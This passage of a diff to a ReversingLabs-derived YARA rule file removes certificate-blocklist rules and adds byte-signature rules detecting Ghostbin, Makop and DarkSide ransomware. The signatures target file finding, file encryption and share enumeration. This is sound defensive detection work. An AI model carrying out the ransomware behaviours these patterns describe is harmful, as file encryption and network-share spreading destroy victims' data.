?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 83 78 ?? ?? 72 ?? 8B 00 B2 ?? 8B C8 E8 ?? ?? ?? ?? C6 + 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 + ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 8D 85 ?? ?? ?? ?? 50 + FF B5 ?? ?? ?? ?? 33 C9 8B 85 ?? ?? ?? ?? 03 8D ?? ?? ?? ?? 83 D0 ?? 50 51 FF B5 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? + ?? ?? ?? BA ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B C8 90 66 8B 31 66 3B 32 75 ?? 66 85 F6 + 74 ?? 66 8B 71 ?? 66 3B 72 ?? 75 ?? 83 C1 ?? 83 C2 ?? 66 85 F6 75 ?? 33 C9 EB ?? 1B + C9 83 C9 ?? 85 C9 74 ?? B9 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B + 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? + 85 C0 74 ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 51 3B 45 ?? 74 ?? 8B C8 E8 ?? ?? ?? ?? 83 45 + ?? ?? EB ?? 50 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? FF B5 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? FF D6 83 F8 ?? 0F + 84 ?? ?? ?? ?? FF D6 8B D0 + } + $enum_shares_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 8D + 75 ?? 83 7D ?? ?? 6A ?? 0F 43 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 B8 ?? ?? ?? + ?? 56 66 89 45 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 45 ?? FF 15 ?? ?? ?? ?? 66 89 + 45 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 57 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D + 45 ?? 50 57 FF 15 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? 89 7D ?? 50 + 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 6A ?? 89 7D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 8E ?? ?? ?? ?? 83 7D ?? ?? 0F 87 ?? ?? ?? ?? + 83 7D ?? ?? 0F 86 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8B 75 ?? 0F + 43 4D ?? 03 F1 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 0F 43 + 4D ?? 33 C0 66 89 45 ?? 8B C6 2B C1 89 4D ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? FF 75 ?? 8D 4D ?? 56 FF 75 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 83 7D ?? + ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 51 8D 4D ?? 51 6A ?? 8D 4D ?? 51 6A ?? 50 FF 15 ?? ?? + ?? ?? 85 C0 74 ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 0F 57 C0 C7 45 ?? ?? ?? ?? ?? 66 + } + $enum_shares_p2 = { + 0F D6 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? + ?? 33 F6 8B 55 ?? 85 D2 0F 84 ?? ?? ?? ?? 33 FF 8B 4D ?? 8B 44 39 ?? 85 C0 74 ?? 3D + ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 14 39 33 C0 66 89 45 ?? 8B C2 C7 45 ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 48 ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 66 + 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B 45 ?? 8D 4D ?? D1 F8 50 52 E8 ?? ?? ?? ?? C6 45 ?? + ?? 8B 45 ?? 3B 45 ?? 74 ?? 0F 10 45 ?? C7 40 ?? ?? ?? ?? ?? 0F 11 00 F3 0F 7E 45 ?? + 66 0F D6 40 ?? 33 C0 83 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 + ?? EB ?? 8D 4D ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? + 8B 55 ?? 46 83 C7 ?? 3B F2 0F 82 ?? ?? ?? ?? 8B 45 ?? 8B 75 ?? 3B 45 ?? 0F 84 ?? ?? + ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 46 ?? 83 7D ?? ?? + 8B 7D ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 89 45 ?? 83 FF ?? 73 ?? 0F 10 00 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 11 + 85 ?? ?? ?? ?? EB ?? 8B F7 8D 8D ?? ?? ?? ?? B8 ?? ?? ?? ?? 83 CE ?? 3B F0 0F 47 F0 + } + $enum_shares_p3 = { + 8D 46 ?? 50 E8 ?? ?? ?? ?? 8D 0C 7D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 51 FF 75 ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 89 B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 8B 7D + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? + 3B F8 0F 84 ?? ?? ?? ?? 2B C7 C1 F8 ?? 69 F0 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 89 85 ?? + ?? ?? ?? 8D 0C 76 89 45 ?? 8D 04 C8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? + 0F 57 C0 8B B5 ?? ?? ?? ?? 66 0F D6 45 ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? 89 75 ?? 89 + 45 ?? C6 45 ?? ?? 66 90 57 8B CE E8 ?? ?? ?? ?? 83 C6 ?? 83 C7 ?? 89 75 ?? 3B 7D ?? + 75 ?? 89 75 ?? C6 45 ?? ?? 89 75 ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D + 85 ?? ?? ?? ?? 8B 4D ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? FF 76 ?? E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? EB ?? + 8B 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 06 F0 FF 08 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? EB ?? 57 FF 15 ?? ?? ?? ?? 8B 75 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "REBROSE LEISURE LIMITED" and pe.signatures [ i ] . serial == "76:74:36:92:1b:26:98:bd:18:40:0a:24:b0:13:41:b6" and 1556284480 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $enum_shares_p* ) ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_3E795531B3265510F935187Eca59920A : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Ghostbin : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Ghostbin ransomware." author = "ReversingLabs" - id = "953434f4-cc19-5a0a-923b-4deaadacef00" - date = "2020-08-05" - modified = "2023-11-08" + id = "4d576854-7a30-527d-9a7a-f22018183540" + date = "2021-09-06" + modified = "2021-09-06" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3176-L3192" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Ghostbin.yara#L1-L61" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d597e88314f9f20283b40058dd74167d0d72f7518277a57f26c15e44b670b386" + logic_hash = "3881e1c83ac2a31fdd8a081d3e6e6ea759771dbc183c3af9528930619bcddf9e" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Ghostbin" + tc_detection_factor = 5 importance = 25 + strings: + $setup_env = { + 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C + 08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 18 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 + 28 ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 19 FE 01 08 6F ?? ?? ?? ?? 18 FE 01 60 2C ?? 08 + 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 17 D6 0B 07 06 8E 69 32 ?? 00 72 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 2C ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? + ?? DE ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 + ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 1F ?? 16 28 ?? ?? ?? ?? 26 DE ?? 28 ?? ?? ?? ?? 28 ?? ?? + ?? ?? DE ?? 2A + } + $encrypt_files = { + 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 25 6F ?? ?? ?? ?? 25 06 28 ?? ?? ?? ?? 03 6F ?? ?? ?? + ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 0C 6F ?? ?? ?? + ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 0B 07 8E 69 17 59 1F ?? 58 17 58 8D ?? ?? ?? ?? 0D 08 + 09 1F ?? 28 ?? ?? ?? ?? 07 16 09 1F ?? 07 8E 69 28 ?? ?? ?? ?? 09 2A + } + $find_files = { + 02 17 8D ?? ?? ?? ?? 25 16 1F ?? 9D 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 28 + ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 0A 16 0B + 2B ?? 06 07 9A 0C 7E ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 08 28 ?? ?? ?? + ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? + ?? ?? ?? 08 28 ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0D 28 ?? ?? ?? ?? DE ?? 07 17 D6 0B + 07 06 8E 69 32 ?? 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 28 ?? ?? ?? ?? + 11 ?? 17 D6 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? + DE ?? 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "sasha catering ltd" and pe.signatures [ i ] . serial == "3e:79:55:31:b3:26:55:10:f9:35:18:7e:ca:59:92:0a" and 1557243644 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $setup_env ) and ( $find_files ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_8F40B1485309A064A28B96Bfa3F55F36 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Makop : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Makop ransomware." author = "ReversingLabs" - id = "bad5b57e-185a-5872-9817-a7d688e24fe7" - date = "2020-08-05" - modified = "2023-11-08" + id = "9b7d42f3-0417-5228-8b25-244224cbc414" + date = "2020-10-30" + modified = "2020-10-30" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3194-L3212" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Makop.yara#L1-L99" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "58dd47bfd2acd698bc27fb03eb51e4b8598ef6c71f7193e3cc4eea63982855f0" + logic_hash = "0ff4739d32b4a775d07a5f22d551ed67025681d4986e4404c9a01ad4078468f3" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Makop" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 8D 54 24 ?? 52 56 FF 15 ?? ?? ?? ?? 56 8B F8 6A ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 50 + FF 15 ?? ?? ?? ?? 83 FF ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 5F 5E 5B 8B E5 5D C3 33 F6 89 74 24 ?? EB ?? 8D A4 24 ?? ?? ?? ?? 8D 64 24 ?? + 66 8B 44 24 ?? 66 85 C0 0F 84 ?? ?? ?? ?? 66 3D ?? ?? 75 ?? 66 8B 44 24 ?? 66 85 C0 + 0F 84 ?? ?? ?? ?? 66 3D ?? ?? 75 ?? 66 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ?? + EB ?? 8D 9B ?? ?? ?? ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 8D 54 24 ?? 2B C2 D1 F8 83 + E8 ?? 85 F6 8B F8 89 7C 24 ?? 75 ?? 8B 45 ?? 05 ?? ?? ?? ?? 03 C0 0F 84 ?? ?? ?? ?? + 50 56 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 89 44 24 ?? 8B F0 0F 84 ?? ?? ?? + ?? F6 44 24 ?? ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 38 85 FF 74 ?? 8B 1F 8D 54 24 + ?? 8B CA 2B D9 8D 49 ?? 0F B7 04 13 66 3D ?? ?? 72 ?? 66 3D ?? ?? 77 ?? 83 C0 ?? 0F + B7 C8 0F B7 02 66 3D ?? ?? 72 ?? 66 3D ?? ?? 77 ?? 83 C0 ?? 83 C2 ?? 66 85 C9 0F B7 + C0 74 ?? 66 3B C8 74 ?? 0F B7 D0 0F B7 C1 2B C2 0F 84 ?? ?? ?? ?? 8B 7F ?? 85 FF 75 + ?? 8B 7D ?? 8B 55 ?? 81 C7 ?? ?? ?? ?? 8B DE E8 ?? ?? ?? ?? 8B 4D ?? 8D 5C 4E ?? BA + ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 1C 56 8D 54 24 ?? BF ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4D ?? 8D 54 08 ?? 8B 45 ?? 52 56 50 E8 + } + $find_files_p2 = { + 83 C4 ?? E9 ?? ?? ?? ?? 8D 5C 24 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? + 80 79 ?? ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 03 FA 81 FF ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B + 15 ?? ?? ?? ?? C6 44 24 ?? ?? 8B 7D ?? 81 C7 ?? ?? ?? ?? 8B DE E8 ?? ?? ?? ?? 8A 44 + 24 ?? 84 C0 75 ?? 8B 55 ?? 83 C7 ?? 8D 5E ?? E8 ?? ?? ?? ?? 8A 44 24 ?? 8A C8 8B 54 + 24 ?? F6 D9 1B C9 83 E1 ?? F6 D8 8B F1 8D BE ?? ?? ?? ?? 1B C0 83 E0 ?? 83 C0 ?? 03 + 45 ?? 8D 04 42 89 44 24 ?? 8D 58 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 8D BE + ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 85 D2 8B 74 24 ?? 8B 45 ?? 77 ?? + 3B 70 ?? 77 ?? B1 ?? EB ?? 8B 55 ?? C6 44 24 ?? ?? E9 ?? ?? ?? ?? 32 C9 88 48 ?? 8B + 4C 24 ?? F6 C1 ?? 74 ?? C6 40 ?? ?? 89 48 ?? EB ?? C6 40 ?? ?? 50 89 50 ?? 89 70 ?? + 8B 44 24 ?? 50 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? + 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 54 24 ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 8B 74 24 ?? EB ?? 56 6A ?? FF 15 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 50 FF 15 ?? ?? ?? ?? 56 6A ?? FF 15 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 + } + $encrypt_files = { + 8B 50 ?? 8B 00 83 EC ?? 55 8B 2D ?? ?? ?? ?? 56 57 6A ?? 8B F9 8D 4C 24 ?? 51 52 50 + 53 FF D5 85 C0 0F 84 ?? ?? ?? ?? 8B 57 ?? 8B 47 ?? 33 F6 56 8D 4C 24 ?? 51 52 50 53 + FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 75 ?? B0 ?? 5F 5E 5D 83 + C4 ?? C3 3B 47 ?? 73 ?? 8B C8 83 E1 ?? 74 ?? BE ?? ?? ?? ?? 2B F1 8B 4F ?? 56 03 C8 + 6A ?? 51 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 8B 4F ?? 03 C6 50 8D 54 24 ?? 52 51 6A + ?? 6A ?? 89 44 24 ?? 8B 44 24 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 8B 4C 24 ?? 8B 54 24 ?? 6A ?? 6A ?? 51 52 53 FF D5 85 C0 74 ?? 8B 4C 24 ?? 8B 57 ?? + 8B 3D ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 03 CE 51 52 53 FF D7 85 C0 74 ?? 8B 44 24 ?? + 8D 0C 30 8B 44 24 ?? 3B C1 72 ?? 01 44 24 ?? 8B 44 24 ?? 8B 50 ?? 8B 00 83 54 24 ?? + ?? 6A ?? 6A ?? 52 50 53 FF D5 85 C0 74 ?? 6A ?? 8D 4C 24 ?? 51 6A ?? 8D 54 24 ?? 52 + 53 FF D7 85 C0 74 ?? 83 7C 24 ?? ?? 0F 83 ?? ?? ?? ?? 5F 5E 32 C0 5D 83 C4 ?? C3 + } + $enum_network_resources = { + 55 8B EC 83 E4 ?? 83 EC ?? 53 56 57 68 ?? ?? ?? ?? 6A ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 8B F0 85 F6 89 74 24 ?? 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 7D ?? 8D 44 24 ?? 50 51 6A ?? + 6A ?? 57 E8 ?? ?? ?? ?? 85 C0 74 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B + 7D ?? 68 ?? ?? ?? ?? 6A ?? 56 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 8D 54 24 ?? 52 56 8D 44 24 ?? 50 51 E8 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 85 C0 75 ?? 8B 54 24 ?? 8B 45 ?? 52 50 EB ?? 8B 4C 24 + ?? 8B 50 ?? 51 52 E8 ?? ?? ?? ?? 33 DB 83 C4 ?? 39 5C 24 ?? 76 ?? 83 C6 ?? 8D 49 ?? + 8B 46 ?? 85 C0 8B C8 75 ?? B9 ?? ?? ?? ?? 8B 46 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 51 8B + 0E 51 50 E8 ?? ?? ?? ?? 8B 46 ?? 83 C4 ?? A8 ?? 74 ?? 8B 56 ?? 85 D2 74 ?? 85 FF 7E + ?? 8B 45 ?? 85 C0 74 ?? 8B 40 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 8B 4D ?? 52 83 + EF ?? 57 8D 46 ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? F6 06 ?? 74 ?? 50 E8 ?? ?? ?? + ?? 8B 56 ?? 8B 45 ?? 83 C4 ?? 52 50 E8 ?? ?? ?? ?? 83 C3 ?? 83 C6 ?? 3B 5C 24 ?? 0F + 82 ?? ?? ?? ?? 8B 74 24 ?? E9 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 8B 44 24 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Singh Agile Content Design Limited" and ( pe.signatures [ i ] . serial == "00:8f:40:b1:48:53:09:a0:64:a2:8b:96:bf:a3:f5:5f:36" or pe.signatures [ i ] . serial == "8f:40:b1:48:53:09:a0:64:a2:8b:96:bf:a3:f5:5f:36" ) and 1542585600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_network_resources ) and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_B2120Facadbb92Cc0A176759604C6A0F : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Darkside : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects DarkSide ransomware." author = "ReversingLabs" - id = "8a90cc61-4d39-58eb-a102-c22d096d99ae" - date = "2020-08-05" - modified = "2023-11-08" + id = "061b00cb-9b70-521f-ab3f-7e6b3c129194" + date = "2021-05-17" + modified = "2021-05-17" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3214-L3232" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DarkSide.yara#L1-L94" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "08462b1bd3d45824aeea901a4db19365c28d8b8b0f594657df7a59250111729b" + logic_hash = "128af9a1b143e4b0928dd2b243e69497be906175f44815cc5703f17cce48ec9d" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "DarkSide" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SLON LTD" and ( pe.signatures [ i ] . serial == "00:b2:12:0f:ac:ad:bb:92:cc:0a:17:67:59:60:4c:6a:0f" or pe.signatures [ i ] . serial == "b2:12:0f:ac:ad:bb:92:cc:0a:17:67:59:60:4c:6a:0f" ) and 1554249600 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_4F407Eb50803845Cc43937823E1344C0 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "6989cda1-f28e-58b7-8572-a7dc2e84d9e3" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3234-L3250" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4d5a2b0619be902d8a437f204ae1b87222c73d3186930809b1f694bad429aea8" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files_v1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + 83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 04 45 ?? ?? ?? + ?? 50 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? + ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? + ?? ?? ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8D 9D ?? ?? + ?? ?? 83 3B ?? 74 ?? 81 3B ?? ?? ?? ?? 74 ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8D 85 ?? ?? + ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 7D ?? + ?? 74 ?? FF 75 ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 